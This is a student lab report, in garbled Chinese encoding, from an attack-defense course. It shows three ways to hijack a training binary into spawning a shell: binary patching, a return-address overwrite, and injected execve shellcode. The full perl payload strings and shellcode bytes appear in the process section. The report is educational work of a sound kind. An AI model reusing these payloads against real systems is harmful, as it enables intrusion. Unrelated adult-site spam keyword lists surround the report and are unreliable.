<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      20232320 2025-2026-1 《網(wǎng)絡(luò)與系統(tǒng)攻防技術(shù)》實(shí)驗(yàn)一實(shí)驗(yàn)報(bào)告

      1.實(shí)驗(yàn)內(nèi)容

      通過三種不同的技術(shù)手段,設(shè)法使程序執(zhí)行 getShell 函數(shù)代碼片段,方法如下:

      方法一:手工修改可執(zhí)行文件,直接改變程序的執(zhí)行流程,使其跳轉(zhuǎn)至getShell函數(shù)。

      方法二:利用foo函數(shù)中的緩沖區(qū)溢出漏洞,構(gòu)造特殊的輸入字符串,覆蓋函數(shù)的返回地址,從而觸發(fā)getShell函數(shù)。

      方法三:向程序中注入一個(gè)自己制作的Shellcode,并設(shè)法運(yùn)行這段代碼。

      2.實(shí)驗(yàn)過程

      (1)實(shí)驗(yàn)環(huán)境搭建

      準(zhǔn)備Linux系統(tǒng),在vmware上安裝kali系統(tǒng)虛擬機(jī)

      631c9a8d4e3d47ce1ba9578f6cb03f9

       我在kali官網(wǎng)上下載了kali的vmware虛擬機(jī),直接應(yīng)用于已經(jīng)裝好的vmware。

       (2)進(jìn)行實(shí)驗(yàn)

      A.方法一:直接修改可執(zhí)行文件跳轉(zhuǎn)至getshell

      將給出的pwn文件復(fù)制到虛擬機(jī)桌面,修改名字為pwn20232320,該程序正常執(zhí)行流程是:main調(diào)用foo函數(shù),foo函數(shù)會(huì)簡(jiǎn)單回顯任何用戶輸入的字符串,如下圖

      916f8ae79dc621d9ba78d6ac2619ca8d_

      對(duì)文件進(jìn)行反匯編操作,找到函數(shù)調(diào)用的相關(guān)指令

      objdump -d pwn1 | more

      得到其中的核心部分如圖

      2482c71875f56b9547cf32ed97430d75_

      其中main中的第四行“call 8048491”表示這條指令將調(diào)用位于地址8048491處的foo函數(shù),其對(duì)應(yīng)機(jī)器指令為“e8 d7ffffff”,e8即跳轉(zhuǎn)之意,按照正常流程此時(shí)EIP的值應(yīng)該是下條指令的地址,即80484ba,但由于e8這條跳轉(zhuǎn)指令,CPU就會(huì)轉(zhuǎn)而執(zhí)行“EIP+d7ffffff”這個(gè)位置的指令。“d7ffffff”是補(bǔ)碼,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29,正好是8048491這個(gè)值,所以將會(huì)執(zhí)行8048491位置的foo函數(shù)。

      由此跳轉(zhuǎn),那我們想讓它調(diào)用getShell,只要修改“d7ffffff”為getShell-80484ba對(duì)應(yīng)的補(bǔ)碼就行,由上圖可知getshell地址804847d,計(jì)算47d-4ba為c3ffffff。

      所以我們的實(shí)驗(yàn)思路是修改可執(zhí)行文件,將其中的call指令的目標(biāo)地址由d7ffffff變?yōu)閏3ffffff。

      vi進(jìn)入pwn20232320,在亂碼界面按Esc鍵,然后輸入:%!xxd將顯示模式切換為16進(jìn)制模式

      22868a47db167ca602224e22df76e6ce_

      查找要修改的內(nèi)容(先按i進(jìn)入編輯模式再改,改完按Esc鍵退出)

      df330ebcf1c28992102410f3c7571f5d_

      修改d7為c3

      635be05e538c1f9151d4beee16a1949b_

      輸入:%!xxd -r轉(zhuǎn)換16進(jìn)制為原格式

      輸入:wq存盤退出vi

      反匯編查看一下call指令是否正確運(yùn)用于shell

      d728a4a693227d7b7f806890b280db77_

      由main中第四行e8c3ffffff,可以看到該條指令現(xiàn)在調(diào)用的是getShell函數(shù)

      此時(shí)再次運(yùn)行文件,可以進(jìn)入shell

      756740e9dce4aae5d7eeadd1161e958b_

      B.方法二:利用foo函數(shù)的緩沖區(qū)漏洞,覆蓋函數(shù)的返回地址觸發(fā)getshell函數(shù)

      反匯編,了解程序基本功能

      e0a9c68c3f3d70d420e89ab47ccabd8

      foo函數(shù)有Buffer overflow漏洞:foo讀入字符串,但系統(tǒng)只預(yù)留了0x1c(28字節(jié))的緩沖區(qū),超出部分會(huì)造成溢出,我們的目標(biāo)是覆蓋返回地址。

      確認(rèn)輸入字符串哪幾個(gè)字符會(huì)覆蓋到返回地址

      安裝gdb,若找不到該命令,則需先進(jìn)行安裝操作

      sudo chmod a+w /etc/apt/sources.list
      sudo chmod a-w /etc/apt/sources.list
      sudo su
      apt-get update
      apt-get install gdb

      最后再通過gdb -v,顯示出版本號(hào)即為安裝成功

      2798ce06f1ff30a8aacddc6dec0e877b_

      分析覆蓋返回地址的字符

      啟動(dòng)gdb,輸入1111111122222222333333334444444412345678

      使用info r查看EIP寄存器中的數(shù)據(jù),發(fā)現(xiàn)eip的值是0x34333231,即4321的ascii碼

      663ec45bb23362587c5cbcd3233311ee_

      由此可以確定了應(yīng)該如何設(shè)置攻擊字符串,即將第33至第36個(gè)字符設(shè)置為804847d按字節(jié)的倒序

      不能通過鍵盤直接輸入,所以先利用perl軟件生成包括這樣字符串的一個(gè)文件

      perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20232320

      (關(guān)于Perl: Perl是一門解釋型語(yǔ)言,不需要預(yù)編譯,可以在命令行上直接使用。 使用輸出重定向“>”將perl生成的字符串存儲(chǔ)到文件input中)

      可以用“xxd input20232320”命令查看文件內(nèi)容,發(fā)現(xiàn)內(nèi)容正確

      3109f255ebcbd6b72fd9c584c6cf6228_

      將input的輸入,通過管道符“|”,作為pwn20232320a的輸入

      e64582d0418dd3e76a8888e08dc8e40

      成功觸發(fā)getshell

      C.方法三:注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode

      準(zhǔn)備工作,查看堆棧是否可執(zhí)行,關(guān)閉地址隨機(jī)化

      382f882daf8bfaaaf8713ab9432ba3f

      6e961a2d386953d0ddb38e7588e3d4a

      構(gòu)造要注入的payload

      首先構(gòu)造一個(gè)shellcode

      perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232320

      1760188103349

      接下來(lái)我們來(lái)確定\x4\x3\x2\x1到底該填什么

      打開一個(gè)終端注入這段攻擊buf

      1760188194447

       再開另外一個(gè)終端,用gdb來(lái)調(diào)試pwn20232320b這個(gè)進(jìn)程

      1760188315625

      找到進(jìn)程號(hào)為147869

      啟動(dòng)gdb調(diào)試這個(gè)進(jìn)程

      1760188513999

      通過設(shè)置斷點(diǎn)來(lái)找到注入buf的內(nèi)存地址

      15fe68ea7b6cd6e09ab01835f601d5f

      可以看到斷在080484ae,在另一個(gè)終端中按下回車,繼續(xù)運(yùn)行當(dāng)前終端

      39ca202d5c7ed455bec405e67c1d726

      01020304是返回地址的位置,shellcode挨著,就在cf80,再次注入

      perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xcf\xff\xff\x00"'  > input_shellcode20232320

      e790ea3609343fb11be9eed55f9b7b9

      成功!

      3.問題及解決方案

      - 問題1:方法一中使用objdump查看文件但是文件格式無(wú)法識(shí)別

      037a80fe15f6cceb582c1b496e51a573_

      - 問題1解決方案:查閱資料說(shuō)是修改后沒有從十六進(jìn)制改回來(lái),只能重來(lái)了...所以要注意把d7修改成c3后需要退出十六進(jìn)制形式,否則使用命令objdump無(wú)法查看,且這時(shí)再次使用vi進(jìn)行退出十六進(jìn)制再查看也不行,因?yàn)槲募呀?jīng)損壞

      8829daf027c63dc6d0b11a92d7dbb2ba_

       (這是查看了文件格式說(shuō)明確實(shí)沒有從十六進(jìn)制改回來(lái))

      - 問題2:使用execstack找不到命令,下載也找不到安裝包

      079eed94038639ceddd00b313276547

      - 問題2解決方案:使用相同功能的工具patchelf,因?yàn)樾掳鎘ali已經(jīng)不再支持execstack(這個(gè)是從馮天悅同學(xué)的實(shí)驗(yàn)報(bào)告中學(xué)到的)

      f76619de574516c46750a1dccb8baa4

      4.學(xué)習(xí)感悟與思考

      有關(guān)本次實(shí)驗(yàn)操作過程中遇到的阻礙,首先是kali虛擬機(jī)的安裝配置,在下載途中下載進(jìn)度已經(jīng)100%了但是仍然等了很久真正才下載完成,在vmware上配置的時(shí)候也沒有發(fā)現(xiàn)自己下載的就是虛擬機(jī)可以直接運(yùn)行。

      在正式的實(shí)驗(yàn)過程中,方法一二進(jìn)行一個(gè)shell的跳轉(zhuǎn)我做的還是比較順利,唯一一個(gè)攔路虎是我在可視模式和編輯模式的切換上還不是很熟,對(duì)于這種指令還不夠熟練。

      在方法三的實(shí)驗(yàn)過程中,我不是很理解01020304的位置地址和shell的地址關(guān)系,這里我詢問了同學(xué),最終明白了最開始編寫的shellcode對(duì)于確定這個(gè)shell的位置的作用。

      這次實(shí)驗(yàn)在簡(jiǎn)單的環(huán)境下通過自己的操作進(jìn)行了這樣一個(gè)網(wǎng)絡(luò)攻防的過程,我獲得了一點(diǎn)點(diǎn)成就感,但是也明白我要學(xué)習(xí)真正的網(wǎng)絡(luò)攻防是任重而道遠(yuǎn),這門課也需要理論與實(shí)踐相結(jié)合才能走得更遠(yuǎn)。

      參考資料

      ExpGuides/0x11_MAL_逆向與Bof基礎(chǔ).md · wildlinux/NetSec - Gitee.com

      posted @ 2025-10-11 22:11  20232320黃馨儀  閱讀(18)  評(píng)論(0)    收藏  舉報(bào)
      主站蜘蛛池模板: 日韩欧美在线综合网另类| 中文字幕丰满伦子无码ab| 亚洲天堂成人黄色在线播放| 日本另类αv欧美另类aⅴ| 五月婷婷中文字幕| 亚洲一区二区三区自拍麻豆| 国产成人无码A区在线观看视频| 国内精品久久久久电影院| 亚洲成在人天堂一区二区| 国产一级r片内射免费视频| 国产中文一区卡二区不卡| 真人在线射美女视频在线观看| √天堂中文www官网在线| 四虎国产成人永久精品免费| 亚洲女人的天堂在线观看| 亚洲乱亚洲乱妇50p| 国产乱码精品一区二区三上| 国产成人精品区一区二区| av无码精品一区二区乱子| 国产一区二区三区内射高清| 成人国产精品日本在线观看| 免费无码成人AV在线播放不卡| 榆树市| 内射合集对白在线| 自偷自拍亚洲综合精品| 我国产码在线观看av哈哈哈网站| 国产午夜精品福利在线观看| 国产精品午夜福利免费看| 银川市| 99久久无码私人网站| 久久天天躁狠狠躁夜夜躁| 久天啪天天久久99久孕妇| 大地资源中文第三页| 色婷婷日日躁夜夜躁| 国产午夜影视大全免费观看| 人妻丰满熟妇无码区免费| 黄色一级片一区二区三区| 自偷自拍亚洲综合精品| 国产片AV国语在线观看手机版 | 久久国产精品不只是精品| 自拍第一区视频在线观看|